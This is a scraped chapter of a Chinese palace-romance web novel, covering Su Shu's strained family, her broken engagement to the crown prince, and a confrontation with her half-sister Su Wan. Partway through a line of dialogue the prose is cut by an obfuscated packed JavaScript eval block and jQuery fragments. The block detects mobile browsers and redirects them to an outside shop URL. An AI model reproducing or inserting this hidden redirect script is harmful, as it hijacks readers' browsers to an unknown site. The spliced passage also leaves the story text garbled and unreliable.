文趣网 > 都市小说 > 她不爱朕了 > 9. 第 9 章(修)
    韩邑缩了缩脖子,忙干笑着道:“开个玩笑,开个玩笑。”

    任堰目光沉沉地看着他,没有说话。

    屋外雨下得更大了,噼里啪啦砸在屋顶,一声一声,震得韩邑胸腔里那颗心咚咚地撞。

    他正想再找补两句。

    任堰已经淡淡收回了目光,接过内侍递来的茶盏,揭开盖子,慢条斯理地撇了撇浮沫,抿了一口。

    “随你。”

    韩邑一愣。

    他跟在任堰身边这么多年,自然听得出这两个字底下压着什么。

    越是轻飘飘的,越不能当真。

    皇家的人,不要的东西搁在那里落灰,也不许旁人伸手去碰,这是他们骨子里早就默认的规矩。

    “是小臣失言。不过,殿下……郡主能主动提退婚,对殿下来说,也算一桩好事。”

    他这话说得小心,一面说一面拿眼角的余光去觑任堰的脸色。

    任堰没有接话,垂着眼看茶汤里浮沉的叶片,不知在想什么。

    韩邑便不敢再多言了。

    他记得第一次见到苏姝,小姑娘穿一身藕荷色裙子,头上绑着一对小铃铛。走路蹦蹦跳跳,连着那铃铛也叮叮当当地响个不停。

    她眨着那双圆溜溜的大眼睛,仰头看着他们。

    清清脆脆地唤他们:哥哥。

    殿下低眸看着她,一向老成没有表情的脸,露出了一个笑。

    后来太后赐了婚,殿下面上没有说什么,只是再见到苏姝,眼神已只有冷色。

    殿下那样的人,最是不喜旁人替他做主,更何况是终身大事。

    如今郡主自己退了婚。

    殿下心里那根刺,大约也该拔了吧。

    屋内安静下来,只剩雨声敲着瓦片。

    任堰修长的指尖轻敲着桌面,一下一下,声音与屋外的雨声缠在一起。

    “你找个机会,拿到苏晚的牙印。”

    韩邑一怔,还没从方才那番心事里抽出来,乍听到这话,一时没转过弯来。

    苏晚?怎么突然提到苏晚?

    他抬眼去看任堰,后者面上没什么表情,指尖仍不紧不慢地叩着桌面。

    韩邑的脑子慢慢转了起来。

    今日在庙里,他提过一嘴苏晚的牙齿不甚齐整。而殿下小臂上的那个牙印,齿痕细密,排得整整齐齐。

    他倒吸了一口凉气,声音都压低了。

    “殿下,您是怀疑那日在山洞的人……不是苏晚?”

    任堰的指尖顿住了,目光落在窗外濛濛的雨幕里。

    “没有。”

    声音淡得像是随口接了一句,隔了一息,才又慢慢道。

    “只是有些疑问,想弄清楚。”

    韩邑应诺:“是。”

    任堰道:“莫要让她觉察,可慢慢行事。”

    -

    另一边,苏姝带着御医终于赶到五帝庙。御医给崔氏把过脉,开了方子,庙里连夜煎了药。

    崔氏服下后不久便醒了过来。

    到了次日清晨,人已无大碍,只是精神还倦着。

    送走御医,崔氏道:“这事多亏了太子殿下,姝儿,你寻个时间定要去当面谢过殿下。”

    话音刚落,春雨推门进来。

    “夫人,郡主,国公爷着人来接夫人了。”

    崔氏眼睛一亮,扶着榻沿站了起来,快步走到门口。

    到门口时,又停下来,整理了一下身上的衣裙,随后才快步出了门。

    苏姝跟上去:“阿娘,您身子还没好全,走慢一些。”

    崔氏脚下不停:“你爹这般忙,还来接我们娘两,可不能让他多等。”

    院子里停着一辆马车,苏正没有来,只派了一个府里的小厮来。崔氏面色微微变了变,嘴硬道。

    “今儿中秋节,你爹定是在忙。”

    “是啊,忙得连自己的妻女留在庙里一夜都忘了。”

    崔氏瞪了她一眼:

    “怎么说话的?没规没矩。你父亲能着人来接我们,可见,他心里还是有我们的。你得体谅他。”

    苏姝知晓母亲的思想不是一下能掰过来的,张了张嘴,终是什么都没说。

    -

    回到国公府,苏正已与盛装的宋姨娘在府门口迎接来客。

    见到面容憔悴的崔氏,苏正沉下脸,开口便是诘问。

    “怎么现在才回来?”

    苏姝抬脚要上前,崔氏一把拉住了她的手腕,轻轻摇了摇头。

    “是妾身耽搁了。”崔氏低声道,“妾身这就回去梳洗,马上过来。”

    见崔氏看过来,宋姨娘像这才察觉自己越了界,忙低下头,有些局促地道。

    “妾身是看夫人还未回来,老爷一人忙不过来,这才……”

    苏正冷声打断:“不用跟她解释,是她自己有错在先。”

    苏姝再忍不住了。

    “母亲有什么错?母亲昨日生病了,在庙里险些丢了性命,父亲可知道?昨日你带走了全家,唯独把我与母亲忘在庙里。”

    苏正脸色铁青,袖中的手紧了紧,却没有发作。

    府门口还站着宾客,他不能在此失态。

    崔氏一把攥住苏姝的手腕,声音都在发抖,压低了几乎是哀求道。

    “姝儿,娘求你,别说了……”

    苏姝看着母亲眼里的恳求,满腔的话忽然堵在了喉咙里。

    她觉得满心疲惫,再没有力气看任何人,松开手,转身往府里走去。

    苏姝只觉满心疲惫,丢下那一众人,独自进了府。

    府内已张灯结彩,到处都是节日的喜庆。

    红绸挂满了回廊,灯笼一串一串地亮着,有人从她身边经过,笑着说“郡主回来了”,她也没有听见。

    她回屋洗漱了一番,坐在窗前,到底还是担心母亲的身体。

    拿出以前太后赏的一支百年人参,让春雨拿去厨房炖了,给母亲送去。自己则提了一个食盒,往祠堂去了。

    她有问过下人,得知昨日兄长回来后,就被父亲关进了祠堂里。

    祠堂的门虚掩着,门缝里漏出一线幽暗的光。

    苏姝推门进去,一股沉沉的檀香混着旧木的气息扑面而来。

    苏恪跪在蒲团上,背脊挺得笔直,听见动静也不回头,只哑着嗓子丢过来一句。

    “我不饿,端走。”

    声音干涩,硬邦邦的,还带着一股不服输的劲。

    “兄长一夜未吃东西,不饿吗?”

    苏恪猛地回过头,又惊又喜:“妹妹?你怎么来了?”

    苏姝走过去将食盒放在旁边的案几上,揭开盖子,将里面的饭食一碟一碟端出来,在案面上细细地摆开了。

    她没有提母亲昨日生病的事,只忧心地问:“兄长可还好?”

    “妹妹放心,你兄长我可壮实着呢。别说一夜,就是三天三夜不吃不喝,我也是可以的。”

    说着,把胸膛拍得咣咣直响。

    拍了两下,见苏姝就那么安安静静地看着他,不接话,也不笑。

    他手上那点力道便慢慢弱了下去,摸了摸鼻子,声音也矮了半截。

    “而且……我昨夜有偷偷让人送了吃食来,妹妹不必担心我。”

    苏恪低头扒了两口饭,终于把饿劲压下去了,忽然想到什么,忙把嘴里的东西咽下去,又咕咚灌了一口水。

    “昨日父亲去了一趟宫里,好像是关于妹妹与太子的婚事。”

    苏姝呼吸一紧,袖袍下的手指不自觉地蜷了一下。

    “我听父亲那意思,好像并不赞成退婚。不过妹妹放心,不管爹怎么想,我都是站在你这边的。”

    苏姝其实并不意外。

    这段时间,她想了很多。

    这么些年,任堰即便再不喜欢自己,也没有提出要退婚。

    是因为这桩婚约是已故太后定下的,皇室不想背负忤逆,不孝,的名声。父亲呢,自然是更不想失去太子这棵高枝。

    他不阻止苏晚接近任堰。

    因为他看出了任堰不喜欢自己,他想的是,自己成为太子妃,苏晚做侧妃。

    这样镇国公府就能立于不败之地。

    苏姝犹豫了一下,道:“兄长,你可想过,若

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720337|208610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我与太子退婚,你的世子之位恐怕会不利。”

    苏恪把筷子一搁。

    “妹妹你想到哪去了?”

    “若是我这个世子之位需要用妹妹的幸福来换,那我宁可不要。妹妹,兄长知道自己没本事,但兄长希望你过得开心。”

    苏姝鼻尖一酸,垂下眼:“嗯,我知道了。”

    她记得前世最后促成父亲决定废黜兄长世子之位的原因是。

    兄长被牵连进了三公主之死里。

    若她没有记错,再过两日,三公主就会遇到一个男人,为那男人做尽了荒唐事,最后死在那男人手里。

    苏姝不由又想到了自己。

    她们的故事何其相似。

    若她能改变三公主的悲剧,是不是就能保住兄长的世子之位?

    -

    从祠堂出来,已近午时。

    苏姝带着春雨去了宴客的正厅。

    苏正与宋姨娘坐在一起,正与宋家人说着话。母亲崔氏一脸失落地坐在角落里。

    苏姝走过去,在崔氏身旁坐下,握住了她的手。

    “母亲。”

    崔氏勉强地笑笑:“姝儿来了。”

    这时,门外传来内侍尖细的嗓音:“太子殿下中秋贺礼到——”

    满堂说笑声骤然一静,所有人的目光都朝门口望去。

    只见一位穿着青灰色圆领袍的内侍迈步进来,身后跟着两个小太监,抬着一口描金漆木箱。

    箱面上系着朱红绸花,一看便是宫里出来的规制。

    苏正已经站起身,面上浮起一层热络的客气,迎上前去拱了拱手。

    “有劳公公跑这一趟。”

    内侍笑着回了一礼。

    “国公爷客气了。殿下说了,中秋佳节,特备薄礼,聊表心意。”

    他说着,目光往厅内一扫,落在角落里的苏晚身上,脸上的笑纹又深了些。

    “殿下特意吩咐了,说苏晚姑娘上回提过喜欢那套雨过天青的茶具,便让奴才一并带过来了。”

    苏姝呼吸一紧。

    她以为自己早不在意,可当听到内侍那句话。肺腔里还是像竖起了刀片,每呼吸一下都刮得生痛。

    她感觉自己要喘不过气来,起身快步朝外走。

    耳边是宾客们的贺喜声。

    “国公爷真是好福气,生了一个好女儿,竟能得殿下如此看重。”

    “殿下对苏晚姑娘,还真是上了心。”

    ……

    外面的日光白晃晃地落下来,刺得她眯了眯眼。

    她站在廊下,胸口起伏了几下,嗓子里像堵着什么东西,咽不下去,也吐不出来。

    “原来你在这里。”

    苏姝回头。

    苏晚站在廊下的阳光里,身上淡青的裙衫被日光映得近乎通透,像一汪被风吹皱的浅水。

    “我们聊聊吧。”

    苏姝没有说话。

    “你不要总是一副被我抢了男人的样子。今日你也瞧见了,殿下给我送了贺礼,从头到尾提都没提你。殿下喜欢的是我,他从未喜欢过你。”

    苏晚紧紧盯着苏姝的脸,等待着她或伤心落泪,或勃然大怒。

    然而没有。

    苏姝淡漠地看着她:“所以呢?”

    苏晚走近两步,在苏姝耳边低声道。

    “你就这么不要脸?明明知道殿下不喜欢你,还追到殿下的别庄去,出来时还换了身衣服。你以为用身体……”

    “啪!”

    苏姝抬手一巴掌扇在她脸上。

    苏晚被打得脸歪向一侧,脚下踉跄了两步,跌坐在地上。

    廊下的风忽然停了。

    “你这逆女!住手!”

    苏姝回过头,只见身后,苏正站在门口,满面怒容,一张脸气得铁青。

    他的身边,任堰一袭玄色锦袍,袍摆上的暗纹在日光下泛着幽沉的光。

    他不知何时到的,也不知站在那里看了多久,面上没什么表情,目光从地上的苏晚身上,慢慢移到苏姝脸上。

    那一瞬间,苏姝看见他的眉心极轻地动了一下。